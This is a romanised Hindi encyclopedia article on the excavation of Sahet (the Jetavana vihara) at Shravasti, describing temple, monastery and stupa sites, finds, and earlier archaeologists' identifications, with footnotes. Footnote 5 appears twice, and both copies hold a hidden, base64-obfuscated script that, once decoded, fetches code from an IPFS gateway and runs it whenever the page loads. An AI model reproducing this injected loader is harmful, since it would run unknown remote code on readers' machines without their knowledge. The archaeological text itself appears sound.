सहेत का उत्खनन

	sahet ka utkhanan
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	shravasti uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

‘sahet’ jo ki prachin jetavan vihar tha, ek atyant prachin aur mahattvapoorn sthal tha. yah sanpoorn kshetr 457.2 X 152.4 mitar vistrit kshetr mean phaila tha. yah tila maidan se 16 phut ooanchaee par sthit tha. is puratattvik sthal par b di sankhya mean chhote-chhote tile mile haian. in tiloan mean 20 ka utkhanan kaniangham ne karavaya tha. shri hovi ne bhi sahet ka utkhanan karavaya tha, lekin kisi bhi bhavan ka poorn utkhanan n hone se tatkalin itihas par prakash nahian p data.^[1] vibhinn utkhananoan se sahet ka jetavan se samikaran nirvivad roop se siddh hota hai. bauddh-sthal hone ke karan yahaan vishesh roop se mandir, stoop aur vihar milate haian. inamean se kuchh pramukh puratatvik sthal nimnalikhit haian-

mandir aur math sthal 19

isaki khoj sarvapratham shri hovi ne ki thi.^[2] unhoanne satah se 3 phut niche is bhavan ke charoan taraph khudaee karavaee jisase is mandir ke do bar nirmit hone ki pushti hoti hai. nirman sanrachana se yah bhavan 10vian shatabdi ka pratit hota hai, parantu kalaantar mean phogal ki adhyakshata mean is kshetr ka pun: utkhanan praranbh hua, jisase yah jnat hua ki yah jetavan mean sthit ek vishal bhavan tha, jisaka pravesh-dvar poorv ki or tha.

chitr:Blockquote-open.gif is nagar ke any prasiddh sthanoan mean poorvaram aur mallikaram ullekhaniy haian. poorvaram ka nirman nagar ke dhanik seth mrigadhar ki putravadhu vishakha ke dvara karaya gaya tha. yah nagar ke poorvi daravaze ke pas bana tha. sanbhavat: isiliye isaka nam poorvaram^[3] p da. yah do manzila bhavan tha, jisamean mazabooti lane ke liye pattharoan ki chunaee ki gee thi. lagata hai ki mallikaram isase b da vishram-bhavan tha, jisamean oopar aur niche kee kamare the. isaka nirman shravasti ki mallika nam ki samrajni ke dvara karaya gaya tha. chitr:Blockquote-close.gif

any utkhanit vastu

any utkhanit vastuoan mean buddh pratimaoan ki sankhya adhik hai. inamean se ek pratima avalokiteshvar v maitrey ke sath bhoomi sparsh mudra mean hai. ek any moorti mean bhagavan buddh ek bandar se katora grahan kar rahe haian. yah drishy vaishali ki us ghatana ka vivaran prastut karata hai, jisamean buddh ek bandar se shahad grahan karate hue pradarshit kie ge haian. ye donoan moortiyaan 9vian-10vian shatabdi ki haian.^[5]

navinatam sanrachana

thumb|250px|left|jetavan vihar ke avashesh, shravasti is sthan par navinatam sanrachana 11vian-12vian shatabdi mean huee, jo chaukor hai. isaka ek bhag 35.90 mitar vistrit hai. isake aantarik bhag ke bich mean ek khula aangan tha, jisake charoan or kaksh bane hue the. kaksh aur aangan ke madhy galiyara bhi tha. isamean bane kamare chhote akar ke haian. ek kamare mean pashchimi divar ki or ek eeant ka bana 1.20 mitar ka chabootara tha. yahian ek kamare se kannauj ke shasak goviandrachandr gah daval ka likhit tamrapatr mila hai.^[6] in mahattvapoorn soochanaoan se jetavan ki sahet se samanata nishchit ho jati hai. sath hi isase yah bhi spasht ho jata hai ki yahaan bauddh dharm ka prabhav 12vian shatabdi tak sthayi raha.

stoop

math ke samipavarti poorv aur uttar-poorv kee stoopoan ka nirman hua, jinamean ath stoop mukhy hai. inamean se ek stoop ka navinikaran dayaram sahani dvara kiya gaya yahaan se 5vian shatabdi ki ek lipiyukt muhar mili hai jis par buddhadev ka nam aankit hai. in stoopoan ke uttar-pashchim ek ashtabhujiy kuaan sthit tha, jo aj bhi vartaman hai.^[7]

mandir sthal 11 aur 12

ye donoan bhavan ek saman the. inaka pravesh-dvar uttarabhimukh tha. pratyek mandir ek keandriy kaksh se yukt tha jo aandar se 2.10 mitar (7 phut) chaukor kshetr mean vistrit tha. is kaksh mean ek 6 ianch ooancha eeantoan ka chabootara tha. mandir ke donoan kinare ke kaksh apekshakrit b de the, jinaki bhitari lanbaee-chau daee 10 phut X 9 phut thi. keandriy kaksh ki banavat se aisa pratit hota hai ki usamean buddh pratima sthapit rahi hogi aur kinare ke kamaroan mean any devataoan ki pratimaean sthapit rahi hoangi. kaniangham ka mat hai ki madhy ka kamara buddh pratima se yukt raha hoga aur kinare ke kamare bauddh-bhikshuoan ke avasagrih rahe hoange.^[8] [[chitr:Gandhakuti-Jetavana-Vihara-2.jpg|thumb|250px|left|gandhakuti jetavan vihar ke bhikshu, shravasti]]

mandir sthal 6 aur 7

ashtabhujiy kuean ke uttar do mandiroan ke avashesh mile hai. inamean se mandir sthal 6 ka pravesh-dvar uttar ki or hai, jabaki mandir sthal 7 ka pravesh-dvar poorv ki taraph hai. mandir sthal-apekshakrit b da hai jo ki ek 3.60 mitar vargakar kamare se yukt tha. is mandir mean prayukt eeantean b de akar ki haian, jisase sanbhavana hai ki yah mandir jetavan ke prachin mandiroan mean se ek tha.

stoop sthal 17 aur 18

poorv ullikhit mandir ke poorv mean do stoop the jinhean stoop 17 aur 18 nam diya gaya hai. stoop sthal 17 ka mool vargakar hai, usake oopar vrittakar aand hai. isaka vyas 6.70 mitar tha. yah bhag bad mean jo da gaya pratit hota hai. praranbhik adhishthan 60 sentimitar ooancha tha, jo kushanakalin (pratham shati ee.) hai. stoop ka adhobhag kankarit pharsh ke satah se niche khula nahian tha, lekin is sanrachana ki gaharaee ko jnat karane ke lie stoop ko shirsh par khol diya gaya tatha paravarti star ki satah se lagabhag 2.10 mitar niche madhyabhag mean ek dand ga d diya gaya. is stoop ke garbh mean ek dhatu-patr mila hai, jisamean sone ke tar, manake evan sphatikatuly vastuean thian.^[9] ye sabhi vastuean tatha satah ke niche ki sanrachana kushanakalin (pratham shati ee.) hai.

isaka samipavarti stoop sthal 18 apekshakrit chhota hai. isake aand ka vyas 4.20 mitar (14 phut) hai. utkhanan mean is stoop ke garbh se bhi ek abhilikhit mitti ka katora mila hai, jisamean haddiyoan ke tuk de, patthar ke manake evan motiyaan thian. kator par kushan-lipi mean ‘bhadant buddhadev’ likha hai. is stoop ka nirman bhi kushan-kal mean hua tha, is mandir sammukh do chabootaroan ke avashesh bhi milean haian. in chabootaroan (chankram) ka nirman usi sthan par kiya gaya hai, jahaan buddh tahalate the.^[5]

stoop sthal 5

jetavan vihar mean sthit yah ek mahattvapoorn stoop tha, jo 9.10 mitar ooancha shankvakar tile se dhaka tha. isaka utkhanan sarvapratham kaniangham ne karavaya tha.^[10] is stoop ke oopar ka bhag golarddhiy stoop ki bhaanti tha, jisaki niche ek chaukor kaksh tha. yah sanrachana thos eeantoan se nirmit thi. isaki pratyek bhuja ki lanbaee 7.50 mitar thi. stoop ki saphaee karate samay isake tal mean do chabootaroan ka pata chala. nichala chabootara 24.90 X 21.30 mitar chau da tha. ek any paravarti chabootare ke avashesh bhi mile haian jo 17.80 X 15 mitar chau da tha. isamean prayukt eeantean 11 X 7^1/2 X 2 ianch akar ki haian.^[11] nirikshan karane par pata chala ki isaki poorvi divar mean pravesh-dvar ke chihn the, jisase yah nishchit ho gaya ki vastav mean yah ek pradakshina pathayukt stoop tha, kiantu bad mean ise poojagrih (mandir) bana diya gaya tatha kalaantar mean isake pravesh dvar ko band karake ise stoop roop mean parivartit kar diya gaya.^[12] praranbhik pradakshina path yukt stoop kushanakalin pratit hota hai. jetavan mean yah sabase lanba stoop hai. utkhanan mean yahaan se kuchh mitti ki muharean bhi mili haian, jo buddh ke jivanakalin chihnoan se yukt hai. stoop ke oopari bhag se prapt vastuean 8 vian-10vian shatabdi ki haian, jo paravarti stoop nirman ka kal-kram nishchit karati haian.^[5] thumb|250px|left|jetavan math, shravasti

mandir aur math sthal 1

is mandir ki aanshat: khudaee kaniangham ne karavaee thi. is math ke avashesh ab bhi drashtavy haian. isaki poorv se pashchim lanbaee 150 phut tatha chau daee 142 ^½ phut hai. jetavan mean sthit yah ek b da vihar hai. jo uttar kinare par sthit hai. poorvabhimukh is math mean ek mandir aur aur mandapayukt aangan bhi tha. samany yojana ke adhar par nirmit is math ke madhy mean aangan mean ek kuean ke avashesh bhi mile hai. poorvi pankti ka keandriy kaksh any sabhi kakshoan mean b da tha. aisa pratit hota hai ki isaki chhat mahakaksh (hal) ke madhy sthit char stanbhoan par adharit thi. in stanbhoan ke adhar par prayukt eeantoan ke keval avashesh matr hi drashtavy haian. baramade mean prayukt khanbhe sanbhavat: lak di ke bane the. aangan aur kakshoan ki pharsh mean kankarit ka prayog milata hai.

is math mean mandir aur mandap bane hone ke karan yah math sankhya 19 se bhinn tha. mandir me prayukt eeantean kee akar ki hai.^[13] yatha-13 ianch X 7ianch X 2 ^½ ianch, 10 ianch X 10 ianch X 2 ^½ ianch X 9 ianch X 7 ^½ ianch X 1 ^¾ ianch. mandap sthal ke bahari bhag mean ek dhalavadar baramada bana tha. upasana sthal ko jane vale path evan mandap ke madhy yah baramada aantarakshep svaroop sthit tha.^[5]

mandir sthal 2

mandir sthal 3 se 61 mitar uttar mean yah mandir sthit tha. isaka utkhanan sarvapratham kaniangham ne karavaya aur sthiti ke adhar par ise gandhakuti se samikrit kiya.^[14] kaniangham ke pashchath shri hovi ne is sthal ka utkhanan kiya. hovi ne sarvapratham pravesh-kaksh ka pata lagaya aur mandir ke charoan taraph ke kankarit, pharsh aur chaharadivari ko spasht kiya. is chaharadivari ki lanbaee poorv se pashchim 115 phut tatha chau daee evan motaee kramash: 39 phut aur 8 phut thi. dakshin aur pashchimi taraph se kankarit pharsh ko hatane par hovi ko niche adhishthan ke avashesh mile. is adhishthan ki lanbaee evan chau daee kramash: 75 phut evan 57 phut thi. adhishthan ke poorvi kinare par 15 phut 6 ianch gahara evan 12 phut chau da ek prakshepan hai, jo do kakshoan mean vibhajit hai. ye kaksh apas mean sanbandhit nahian haian, adhik sanbhav hai ki ye sidhiyoan se yukt rahe hoan. is adhishthan ki vartaman ooanchaee 7 phut se adhik nahian hai.^[5]

gandhakuti

phogal ne kaniangham ke mat ka khandan karate hue is sthan ko gandhakuti se samikrit karane mean apatti ki hai. unhoanne is bat par bal diya ki yadi un dinoan buddh ke jivan se sanbandhit sthaloan par gandhakuti ka nirman hota tha, to kya karan hai ki utkhanan mean kisi bhi sthal se isake avashesh nahian milate? sath hi gandhakuti se sanbandhit sthapaty-kala ka bhi koee udaharan jnat nahian ho paya hai.^[15] bharahut stoop^[16] mean chitrit gandhakuti ke agr utsedh ka hi chitran kiya gaya hai. jisase is bhavan ki nirman yojana evan roopaankan ke sandarbh mean nishkarsh nikalana kathin hai. at: hamean keval pali sahity mean varnit uddharanoan par hi vishvas karana chahie. gandhakuti ke sandarbh mean ech.si.narman^[17] ne ek nibandh prakashit kar tin mukhy batoan par zor diya hai- thumb|250px|jetavan math, shravasti

yah buddh ka vyaktigat nivas-sthan tha.
yah smarakoan ke madhy mean sthit hota tha.^[18] is par chadhane ke lie ek sidhi bani hoti thi.
is mandir mean pushpoan ka sangrah hota tha, jo apane sugandh ke namanuroop thi.

uparyukt mat par vichar karane se gandhakuti ka smarakoan ke madhy sthit hona nishchit ho jata hai jabaki yah utkhanit sthal madhy mean sthit nahian tha.^[19] jahaan tak kal ka prashn hai yah mandir gupt kal se poorvavarti nahian hai. at: uparyukt adhar par mandir sthal 2 ka gandhakuti se samikaran uchit nahian pratit hota.

mandir sthal 3

is mandir ka bhi utkhanan sarvapratham kaniangham ne hi kiya tha. poorvabhimukh yah mandir bodhivriksh se 76.20 mitar doori par sthit hai. yah vahian sthit hai jahaan anathapiandak ne kosanbakutti ka nirman karaya tha. kaniangham ne bhi isaki pahachan kosanbakutti se ki hai.^[20] is kosanbakutti ka upayog buddh ke vyaktigat karyoan ke liye kiya jata tha.^[21] utkhanan mean yahaan se bodhisatv ki ek pratima bhi mili jis par pratham shatabdi ee. ki lipi mean lekh aankit hai. vishvas kiya jata hai ki yah pratima kosanbakutti mean bal namak bhikshu dvara kushan kal mean sthapit ki gee thi.

mandir sthal 3 ka pariman

is mandir ka pariman 5.75 X 5.45 mitar kshetr mean tha. is pariman ke aandar tahakhana, mandir ki divarean aur mandap sthit the. mandir ki bhitari paridhi 2.45 mitar chaukor thi aur isaki divarean 1.20 mitar moti thian. is mandir ke dakshin-poorv aur uttar-poorv mean thos eeantoan ke bane do chabootare (chankram) the. is par chadhane ke lie bich se sidhiyaan bani thian. dakshin-poorv vala chabootara 10 phut chau da aur 4 phut ooancha tha. poorv ki or isaki lanbaee 53 phut thi. uttar-poorv vale chabootare ki lanbaee pashchim se poorv 61 phut aur chau daee 5 phut thi. mandir ke atyant samip sthit hone ke karan abhilekh mean varnit chankram se isaki samata sthapit ki ja sakati hai.^[22] ek any chankram avashesh bodhagaya ke mahabodhi mandir se mile the. bodhagaya se prapt chankram chhayadar thi.

mandir sthal 3 ka utkhanan

utkhanan se prapt bauddh-pratima par aankit kushan lipi mean^[23] chankram ka varnan hai jisaki khoj kaniangham ne ki thi, parantu yah nishchit nahian ki yah tathagat ke tahalane ke lie bana vastavik kosanbakutti ka chankram tha. kosanbakutti namak yah bhavan shravasti ke do pramukh bhavanoan mean ek tha. yah pray: asanbhav pratit hota hai ki in bhavanoan ke vinash ke pashchath buddh ki upasana sthal ke lie kisi aur sthan ka chunav kiya gaya ho. at: pali-sahity mean varnit koshanbakutti tatha utkhanan mean prapt is sthal ke samikaran mean kisi prakar ka sanshay nahian rah jata.^[5]

left|30px|link=shravasti mean utkhanan kary|pichhe jaean

shravasti mean utkhanan kary

sahet ka utkhanan

mahet ka utkhanan

right|30px|link=mahet ka utkhanan|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ arkiyolajikal sarve aauf iandiya (varshik riport 1907-8), prishth 117
↑ jarnal aauf d eshiyatik sosayati aauf bangal, bhag 1, atirikt sankhya 1892, plet 5
↑ arthat poorabi math
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 119
↑ ^5.0 ^5.1 ^5.2 ^5.3 ^5.4 ^5.5 sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ debala mitra, buddhist manumeants (kalakatta, pratham sanskaran, 1971), prishth 77
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 120
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 121
↑ debala mitra, buddhist manumeants (kalakatta, pratham sanskaran, 1971 ee.) prishth 78
↑ arkiyolajikal sarve riport, bhag 11, prishth 88
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 122
↑ debala mitra, buddhist manumeants, prishth 78
↑ arkiyolajikal sarve aph iandiya, varshik riport, 1907-08, prishth 125
↑ kaniangham, arkiyolajikal sarve aauf iandiya enual riportas, bhag 11, prishth 84
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 123-124
↑ barua, bharahut, bhag 2, prishth 31; rij devids buddhist iandiya, chitr sankhya-23
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 124
↑ jatakoan mean bhi gandhakuti ko madhy mean sthit batalaya gaya hai- ‘so majjhe gandhakuti karesi’, jatak, khand 1, prishth 92
↑ bharatavarsh mean kisi bhi buddhakalin sthal se is prakar ke bhavan madhy mean nahian milate. bhavan sankhya 1 ko sanbhavat: is varnan ke adhar par gandhakuti se samikrit kiya ja sakata hai.
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 122
↑ kosanbakutti ka varnan sahity mean bhi milata hai, dekhean, sumangalavilasini, bhag 2, prishth 407
↑ em. veankatarammaiya, shravasti, prishth 18
↑ epigraphiya eandika, bhag 8 prishth 180-181

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] rkiyolajikal sarve aauf iandiya (varshik riport 1907-8), prishth 117

[2] rnal aauf d eshiyatik sosayati aauf bangal, bhag 1, atirikt sankhya 1892, plet 5

[3] rthat poorabi math

[4] rkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 119

[.E0.A4.89.E0.A4.A4.E0.A5.8D.E0.A4.A4.E0.A4.B0_.E0.A4.AA.E0.A5.8D.E0.A4.B0.E0.A4.A6.E0.A5.87.E0.A4.B6-5] 5.0 ^5.1 ^5.2 ^5.3 ^5.4 ^5.5 sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[6] tra, buddhist manumeants (kalakatta, pratham sanskaran, 1971), prishth 77

[7] rkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 120

[8] rkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 121

[9] tra, buddhist manumeants (kalakatta, pratham sanskaran, 1971 ee.) prishth 78

[10] rkiyolajikal sarve riport, bhag 11, prishth 88

[11] rkiyolajikal sarve aauf iandiya enual riportas, 1907-8, prishth 122

[12] tra, buddhist manumeants, prishth 78

[13] rkiyolajikal sarve aph iandiya, varshik riport, 1907-08, prishth 125

[14] , arkiyolajikal sarve aauf iandiya enual riportas, bhag 11, prishth 84

[15] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 123-124

[16] rua, bharahut, bhag 2, prishth 31; rij devids buddhist iandiya, chitr sankhya-23

[17] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 124

[18] takoan mean bhi gandhakuti ko madhy mean sthit batalaya gaya hai- ‘so majjhe gandhakuti karesi’, jatak, khand 1, prishth 92

[19] ratavarsh mean kisi bhi buddhakalin sthal se is prakar ke bhavan madhy mean nahian milate. bhavan sankhya 1 ko sanbhavat: is varnan ke adhar par gandhakuti se samikrit kiya ja sakata hai.

[20] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 122

[21] sanbakutti ka varnan sahity mean bhi milata hai, dekhean, sumangalavilasini, bhag 2, prishth 407

[22] . veankatarammaiya, shravasti, prishth 18

[23] raphiya eandika, bhag 8 prishth 180-181

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